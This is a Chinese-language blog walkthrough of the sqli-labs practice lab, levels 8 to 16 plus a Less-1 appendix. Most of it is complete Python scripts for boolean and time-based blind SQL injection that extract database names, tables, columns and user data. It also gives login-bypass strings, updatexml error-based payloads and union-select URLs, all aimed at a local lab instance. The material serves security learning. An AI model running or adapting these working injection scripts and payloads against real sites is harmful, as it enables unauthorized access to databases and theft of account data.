sqli-lib 实战日志（二）

sqli-lib sql注入

之前看了基本的盲注和报错注入，还有文件写入。这边将从Less-8开始。

Less-8

这道题把回显关掉了。所以用报错注入不行

另外用我最喜欢的二分查找也是很快的。

二分查找盲注脚本如下：

```
class Less_8:
    def run(self):
        self.half_ascii_database()
        self.half_ascii_tables()
        self.half_ascii_columns()
        self.half_ascii_data()

    def half_ascii_database(self):
        url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
        payload = "' and ascii(substr(database(),%s,1))>%s --+"
        database = ''
        print("Start to retrive the database")
        for i in range(1, 9):
            max = 122  # z
            min = 65  # A
            while abs(max - min) > 1:
                mid = int((max + min) / 2)
                p = payload % (str(i), str(mid))
                response = requests.get(url % p)
                if response.content.find("You are in") != -1:
                    min = mid
                else:
                    max = mid

            database = database + chr(max)
            print("the database is :%s" % database)


    def half_ascii_tables(self):
        url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
        payload = "'and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),%s,1))>%s--+"
        table1 = ""
        print("Start to retrive the database")
        for i in range(1, 9):
            max = 122  # z
            min = 65  # A
            while abs(max - min) > 1:
                mid = int((max + min) / 2)
                p = payload % (str(i), str(mid))
                response = requests.get(url % p)
                if response.content.find("You are in") != -1:
                    min = mid
                else:
                    max = mid
            table1 = table1 + chr(max)
            print("the table is :%s" % table1)


    def half_ascii_columns(self):
        # emails= 0x656d61696c73
        url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
```

```
        payload = "'and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 1,1),%s,1))>%s--+"
        table1 = ""
        print("Start to retrive the database")
        for i in range(1, 15):
            max = 122  # z
            min = 65  # A
            while abs(max - min) > 1:
                mid = int((max + min) / 2)
                p = payload % (str(i), str(mid))
                response = requests.get(url % p)
                if response.content.find("You are in") != -1:
                    min = mid
                else:
                    max = mid
            table1 = table1 + chr(max)
            print("the column is :%s" % table1)


    def half_ascii_data(self):
        # column email_id = 0x656d61696c5f6964
        # table emails = 0x656d61696c73
        url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
        payload = "'and ascii(substr((select email_id from emails limit 0,1),%s,1))>%s--+"
        table1 = ""
        print("Start to retrive the database")
        for i in range(1, 9):
            max = 122  # z
            min = 65  # A
            while abs(max - min) > 1:
                mid = int((max + min) / 2)
                p = payload % (str(i), str(mid))
                response = requests.get(url % p)
                if response.content.find("You are in") != -1:
                    min = mid
                else:
                    max = mid
            table1 = table1 + chr(max)
            print("the data is :%s" % table1)
```

Less-9

这道题算是基于时间——单引号。让我们用sleep做做看。

延时盲注脚本如下

```
class Less_9:
    def run(self):
        self.sleep_ascii_database()
        self.sleep_ascii_tables()
        self.sleep_ascii_columns()
        self.sleep_ascii_data()

    def sleep_ascii_database(self):
        url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=%s"
        payload = "1'and if(ascii(substr(database(),%s,1))=%s,1,sleep(1))--+"
        database = ""
        for i in range(1, 9):
            min = 96  # 33  # !
            max = 122  # 127  # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
            while min <= max:
                starttime = time.time()  # 记录当前时间
                p = payload % (i, min)
                response = requests.get(url % (p))
                # print response.url
                if time.time() - starttime > 1:  # 因为是localhost，回显比较快，正常要大一些
                    min += 1
                else:
                    database += chr(min)
                    break
```

```
            print("the database is :%s" % database)


    def sleep_ascii_tables(self):
        # security = 7365637572697479
        url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=%s"
        payload = "1'and if(ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),%s,1))=%s,1,sleep(1))--+"
        # "http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_ schema='security' limit 0,1),1,1))=101,1,sleep(5))--+"
        database = ""
        for i in range(1, 9):
            min = 97  # 33  # !
            max = 122  # 127  # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
            while min <= max:
                starttime = time.time()  # 记录当前时间
                p = payload % (i, min)
                response = requests.get(url % (p))
                # print response.url
                if time.time() - starttime > 1:  # 因为是localhost，回显比较快，正常要大一些
                    min += 1
                else:
                    database += chr(min)
                    break
            print("the table is :%s" % database)


    def sleep_ascii_columns(self):
        # users = 0x7573657273
        url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=%s"
        payload = "1'and if(ascii(substr((select column_name from information_schema.columns where table_name='users'limit 0,1),%s,1))=%s,1,sleep(1))--+"
        database = ""
        for i in range(1, 9):
            min = 97  # 33  # !
            max = 122  # 127  # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
            while min <= max:
                starttime = time.time()  # 记录当前时间
                p = payload % (i, min)
                response = requests.get(url % (p))
                # print response.url
                if time.time() - starttime > 1:  # 因为是localhost，回显比较快，正常要大一些
                    min += 1
                else:
                    database += chr(min)
                    break
            print("the column is :%s" % database)


    def sleep_ascii_data(self):
        url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=%s"
        payload = "1'and if(ascii(substr((select username from users limit 0,1),%s,1))=%s,1,sleep(1))--+"
        database = ""
        for i in range(1, 9):
            min = 65  # 33  # !
            max = 122  # 127  # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
            while min <= max:
                starttime = time.time()  # 记录当前时间
                p = payload % (i, min)
                response = requests.get(url % (p))
                # print response.url
                if time.time() - starttime > 1:  # 因为是localhost，回显比较快，正常要大一些
                    min += 1
                else:
                    database += chr(min)
                    break
            print("the data is :%s" % database)
```

Less-10

一个道理，改成双引号就行

Less-11

万能密码直接过

id 填写 'or 1=1 --+
pwd 随意

Less-12

万能密码直接过

id 填写admin")或者adminn")or 1=1--+
pwd 随意

Less-13

那就写二分查找的盲注好了

```

class Less_13:
    def run(self):
        self.post_half_ascii_database()
        self.post_half_ascii_table()
        self.post_half_ascii_column()
        self.post_half_ascii_data()

    def post_half_ascii_database(self):
        '''
        /images/flag.jpg
        :return:
        '''
        url = "http://localhost/sqli-labs-master/Less-13/"
        payload = {"uname": "admin')and ascii(substr(database(),%s,1))>%s#", "passwd": "1", "s
ubmit": "Submit"}
        database = ""
        for i in range(1, 9):
            min = 96
            max = 122
            while abs(max - min) > 1:
                mid = int((max + min) / 2)
                p = payload
                p["uname"] = "admin')and ascii(substr(database(),%s,1))>%s#" % (i, mid)
                response = requests.post(url, data=payload)
                # print response.content
                if response.content.find("/images/flag.jpg") != -1:
                    min = mid
                else:
                    max = mid
            database = database + chr(max)
            print("the database is :%s" % database)

    def post_half_ascii_table(self):
        url = "http://localhost/sqli-labs-master/Less-13/"
        payload = {"uname": "admin", "passwd": "1", "submit": "Submit"}
        database = ""
        for i in range(1, 9):
            min = 96
            max = 122
            while abs(max - min) > 1:
                mid = int((max + min) / 2)
                p = payload
                p[
                    "uname"] = "admin')and ascii(substr((select table_name from
information_schema.tables where table_schema=database()limit 0,1),%s,1))>%s#" % (
```

```
                i, mid)
                response = requests.post(url, data=payload)
                # print response.content
                if response.content.find("/images/flag.jpg") != -1:
                    min = mid
                else:
                    max = mid
            database = database + chr(max)
            print("the table is :%s" % database)

    def post_half_ascii_column(self):
        url = "http://localhost/sqli-labs-master/Less-13/"
        payload = {"uname": "admin", "passwd": "1", "submit": "Submit"}
        database = ""
        for i in range(1, 9):
            min = 34
            max = 127
            while abs(max - min) > 1:
                mid = int((max + min) / 2)
                p = payload
                p[
                    "uname"] = "admin')and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 1,1),%s,1))>%s#" % (
                i, mid)
                response = requests.post(url, data=payload)
                # print response.content
                if response.content.find("/images/flag.jpg") != -1:
                    min = mid
                else:
                    max = mid
            database = database + chr(max)
            print("the table is :%s" % database)

    def post_half_ascii_data(self):
        url = "http://localhost/sqli-labs-master/Less-13/"
        payload = {"uname": "admin", "passwd": "123", "submit": "Submit"}
        database = ""
        for i in range(1, 20):
            min = 23
            max = 127
            while abs(max - min) > 1:
                mid = int((max + min) / 2)
                p = payload
                p[
                    "uname"] = "admin')and ascii(substr((select email_id from emails limit 7,1),%s,1))>%s#" % (
                i, mid)
                response = requests.post(url, data=payload)
                # print response.content
                if response.content.find("/images/flag.jpg") != -1:
                    min = mid
                else:
                    max = mid
            database = database + chr(max)
            print("the data is :%s" % database)
```

Less-14

这里的payload只要把单引号换成双引号就行

试试看当初老哥教我的xpath报错注入

- 库名：`1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)#`
- 得security
- 表
  名：`1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()`
- 得emails（0x656d61696c73)
- 列

名：`1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=0x656d61696`

- 得email_id
- 字段：`1'and updatexml(1,concat(0x7e,(select email_id from emails limit 7,1),0x7e),1)#`
  得管理员邮箱

Less-15

这关把错误回显关了
其实也不是特别费力。写个盲注脚本吧少年
（这道题就当post类型的延时盲注示范了）

```
class Less_15:
    def run(self):
        #self.post_sleep_ascii_database()
        self.post_sleep_ascii_table()
        #self.post_sleep_ascii_column()

    def post_sleep_ascii_database(self):
        url = "http://127.0.0.1/sqli-labs-master/Less-15/?id=%s"
        payload = {"uname": "admin", "passwd": "123", "submit": "Submit"}
        database = ""
        for i in range(1, 9):
            min = 97  # 33  # !
            max = 122  # 127  # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
            while min <= max:
                starttime = time.time()  # 记录当前时间
                p = payload
                p["uname"] = "admin'and if(ascii(substr(database(),%s,1))=%s,1,sleep(1))#" % (
i, min)
                response = requests.post(url, data=p)
                # print response.content
                if time.time() - starttime > 1:  # 因为是localhost，回显比较快，正常要大一些
                    min += 1
                else:
                    database += chr(min)
                    break
            print("the database is :%s" % database)

    def post_sleep_ascii_table(self):

        url = "http://127.0.0.1/sqli-labs-master/Less-15/?id=%s"
        payload = {"uname": "admin", "passwd": "123", "submit": "Submit"}
        database = ""
        for i in range(1, 9):
            min = 97  # 33  # !
            max = 122  # 127  # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
            while min <= max:
                starttime = time.time()  # 记录当前时间
                p = payload
                p[
                    "uname"] = "admin'and if(ascii(substr((select table_name from
information_schema.tables where table_schema=0x7365637572697479 limit
0,1),%s,1))=%s,1,sleep(1))#" % (
                i, min)
                response = requests.post(url, data=p)
                # print response.content
                if time.time() - starttime > 1:  # 因为是localhost，回显比较快，正常要大一些
                    min += 1
                else:
                    database += chr(min)
                    break
            print("the table is :%s" % database)

    def post_sleep_ascii_column(self):
        url = "http://127.0.0.1/sqli-labs-master/Less-15/?id=%s"
        payload = {"uname": "admin", "passwd": "123", "submit": "Submit"}
        database = ""
        for i in range(1, 9):
            min = 97  # 33  # !
```

```
            max = 122  # 127  # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
            while min <= max:
                starttime = time.time()  # 记录当前时间
                p = payload
                p[
                    "uname"] = "admin'and if(ascii(substr((select column_name from information_schema.columns where table_name='emails'limit 1,1),%s,1))=%s,1,sleep(1))#" % (
                i, min)
                response = requests.post(url, data=p)
                # print response.content
                if time.time() - starttime > 1:  # 因为是localhost，回显比较快，正常要大一些
                    min += 1
                else:
                    database += chr(min)
                    break
            print("the column is :%s" % database)
```

Less-16

和之前区别不大，知识要把单引号换成")
其他没有变

第二部分完毕

主要是掌握对盲注脚本的编写，虽然没有对waf什么的处理过，用的都是sleep和ascii，如果把这两个函数给过滤了的话，那就很蛋疼了。

附录：SQLI-lib 第一关简易教程

```
# SQLi-Lib 第一关玩法
# 注入点判断

http://localhost/sqli-labs-master/Less-1/?id=1' or 1=1 --+ 成功
http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 --+ 失败

# 联合注入 长度为3 （4报错）
http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

# 爆库为 security
## -1 不要让正确信息打印出来，因为有limit
http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,database(),3 --+

# 爆库为 users
## 更改最后的limit中的3为 0,1,2,3 能够把所有的库爆出来
http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1--+

# 爆列为 email_id
## 同样的 limit 1,1 改为limit %s,1可以爆出其他字段
## emails可以用十六进制编码代替（绕过单引号）为 0x656d61696c73 这是一个绕waf的习惯
http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,column_name,3 from information_schema.columns where table_name='emails'  limit 1,1--+

# 爆字段 SBBr{}
## 这个是我自己添加的
## 这里不用16进制编码，也不用双引号
http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,email_id,3 from emails limit 8,1--+
<!--把limit 8,1改为7,1爆出admin邮箱就行-->
```